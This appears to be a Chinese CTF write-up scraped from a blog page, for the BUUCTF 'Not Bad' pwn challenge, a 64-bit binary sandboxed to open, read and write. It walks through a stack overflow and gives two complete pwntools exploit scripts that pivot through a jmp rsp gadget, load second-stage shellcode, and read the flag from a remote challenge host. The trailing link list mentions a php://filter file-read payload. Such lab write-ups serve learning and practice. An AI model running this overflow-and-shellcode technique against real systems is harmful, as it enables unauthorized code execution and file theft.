总的来说这是一个64位orw的题

开头先在主函数里分配了一个很大的空间

1 __int64 __fastcall main(int a1, char **a2, char **a3)
2 {
3 mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
4 sub_400949();
5 sub_400906();
6 sub_400A16();
7 return 0LL;
8 }
 1 __int64 sub_400949()
2 {
3 __int64 v1; // [rsp+8h] [rbp-8h]
4
5 v1 = seccomp_init(0LL);
6 seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
7 seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
8 seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
9 seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
10 return seccomp_load(v1);
11 }

这里开了沙盒看一下只给了open,read,write,exit很明显是一个orw的题

漏洞函数:

1 int sub_400A16()
2 {
3 char buf[32]; // [rsp+0h] [rbp-20h] BYREF
4
5 puts("Easy shellcode, have fun!");
6 read(0, buf, 0x38uLL);
7 return puts("Baddd! Focu5 me! Baddd! Baddd!");
8 }

溢出字节较少可以考虑用栈迁移,但是看了其他师傅的wp后发现了一种新的解题方法,即利用 jmp rsp这条指令。我们把这条指令的地址放到返回地址上,接下来就可以利用汇编来控制 rsp的位置了。

大多数师傅都是用 shellcraft 来自动化构造的,但是我认为有手搓 shellcode 的能力也很重要。

附上用 shellcraft 构造的exp:

from pwn import *
context.arch='amd64'
context.log_level='debug' s=remote('node4.buuoj.cn',26979)
#s=process('./bad') mmap=0x123000
jmp_rsp=0x400a01 orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap+0x100, 0x50)
orw_payload += shellcraft.write(1, mmap+0x100,0x50) payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
s.sendline(payload) s.send(asm(orw_payload)) s.interactive()

手搓 shellcode 的exp:

 1 from pwn import *
2 context.arch='amd64'
3 context.log_level='debug'
4
5 s=remote('node4.buuoj.cn',26979)
6 #s=process('./bad')
7
8 jmp_rsp=0x400a01
9 shellcode1='''
10 xor rdi, rdi
11 mov rsi, 0x123000
12 mov rdx, 0x100
13 mov rax, 0
14 syscall
15 mov rax, 0x123000
16 call rax
17 '''
18
19 shellcode2='''
20 mov rdi, 0x67616c662f2e //这个是.\flag由于小端序存储的倒着写的 gafl\.的16进制表示。
21 push rdi
22 mov rdi, rsp
23 mov rsi, 0
24 mov rdx, 0
25 mov rax, 2
26 syscall
27 mov rdi, 3
28 mov rsi, rsp
29 mov rdx, 0x100
30 mov rax, 0
31 syscall
32 mov rdi, 1
33 mov rsi, rsp
34 mov edx, 0x100
35 mov rax, 1
36 syscall
37 '''
38 payload=asm(shellcode1)
39 payload=payload.ljust(0x28,b'\x00')
40 payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
41 s.sendline(payload)
42
43 s.send(asm(shellcode2))
44
45 s.interactive()

BUUCTF [极客大挑战 2019]Not Bad的更多相关文章

  1. BUUOJ [极客大挑战 2019]Secret File

    [极客大挑战 2019]Secret File 0X01考点 php的file伪协议读取文件 ?file=php://filter/convert.base64-encode/resource= 0X ...

  2. [原题复现][极客大挑战 2019]BuyFlag

    简介  原题复现:[极客大挑战 2019]BuyFlag  考察知识点:php函数特性(is_numeric().strcmp函数())  线上平台:https://buuoj.cn(北京联合大学公开 ...

  3. BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf)+[极客大挑战 2019]LoveSQL(联合注入)

    BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf) 记一道联合注入的题,这道题存在过滤. 经过手工的测试,网站会检验用户名和密码是否都存在,如果在用户名处插入注入语句,语句后面 ...

  4. 极客大挑战2019 http

    极客大挑战 http referer 请求头 xff 1.查看源码,发现secret.php 2.提示要把来源改成Sycsecret.buuoj.cn,抓包,添加Referer Referer:htt ...

  5. BUUCTF(八)[极客大挑战 2019]LoveSQL

    BUUCTF 1.打开题目 注入方法可参考NewsCenter 2.测试注入点 username: 1'or'1=1 password: 1'or'1=1 登录成功,说明存在注入漏洞. 下面测试位点个 ...

  6. BUUCTF(十一)[极客大挑战 2019]Knife

    BUUCTF系列 想着应该不会这么简单吧... 结果就是这么简单ee 疯狂暗示... url:xxx/index.php 密码:Syc 连接成功... cd / ls cat flag

  7. [BUUOJ记录] [极客大挑战 2019]RCE ME

    前面考察取反或者异或绕过,后面读Flag那里我用脏方法过了,没看出来考察啥 进入题目给出源码: <?php error_reporting(0); if(isset($_GET['code']) ...

  8. [极客大挑战 2019]FinalSQL

    0x00 知识点 盲注 0x01 解题 根据题目提示盲注,随便点几下找到注入点 发现我们输入^符号成功跳转页面,证明存在注入 1^(ord(substr((select(group_concat(sc ...

  9. 极客大挑战 2019 web 部分解

    复现环境:buuoj 0x01:Havefun F12查看源码,明显html注释里是一段php get方式传参数,payload:http://f5cdd431-df98-487f-9400-e8d0 ...

随机推荐

  1. Windows Server 2016域控制器升级到Windows Server 2022遇到的问题记录Fix error 0x800F081E – 0x20003

    1. 非域控服务器升级 将两台Web服务器和数据库服务器(Windows Server 2016, 2019)成功升级至到Windows Server 2022,非常顺利,一次成功. 直接在Windo ...

  2. c#中实现串口通信的几种方法

    c#中实现串口通信的几种方法 通常,在C#中实现串口通信,我们有四种方法: 第一:通过MSCOMM控件这是最简单的,最方便的方法.可功能上很难做到控制自如,同时这个控件并不是系统本身所带,所以还得注册 ...

  3. PLSQL导出oracle表结构和数据

    1.导出表结构和数据 方式1.tools->export user objects是导出表结构 tools ->export user object 选择选项,导出.sql文件 说明:导出 ...

  4. 转 【Android】- Android与html5交互操作

    转自:https://blog.csdn.net/baidu_35701759/article/details/70314812 1. Android提供了WebView控件可访问网页 通过webVi ...

  5. liunux 6.5设置网卡默认开启

    编辑如下文件; vi /etc/sysconfig/network-scripts/ifcfg-eth0 把 ONBOOT=no 改为 ONBOOT=yes 好了网卡会在启动机器的时候一起启动了.

  6. Servlet(3):Cookie和Session

    一. Cookie Cookie是客户端技术,程序把每个用户的数据以cookie的形式写给用户各自的浏览器.当用户使用浏览器再去访问服务器中的web资源时,就会带着各自的数据去.这样,web资源处理的 ...

  7. Oracle 表结构管理

    表其实是数据的'容器'.oracle有几种类型的表: 普通表(ordinary table)又叫堆组织表. 聚簇表(clustered table) 分区表(partition table) 外部表( ...

  8. 通过SSE(Server-Send Event)实现服务器主动向浏览器端推送消息

    一.SSE介绍 1.EventSource 对象 SSE 的客户端 API 部署在EventSource对象上.下面的代码可以检测浏览器是否支持 SSE. if ('EventSource' in w ...

  9. XML解析器

    1.非验证解析器 检查文档格式是否良好,如用浏览器打开XML文档时,浏览器会进行检查,即格式是否符合XML(可拓展标记语言)基本概念. 2.验证解析器 使用DTD(Document Type Defi ...

  10. Log4j漏洞源码分析

    Log4j漏洞源码分析 这几天Log4j的问题消息满天飞,今天我们就一起来看看从源码角度看看这个漏洞是如何产生的. 大家都知道这次问题主要是由于Log4j中提供的jndi的功能. 具体涉及到的入口类是 ...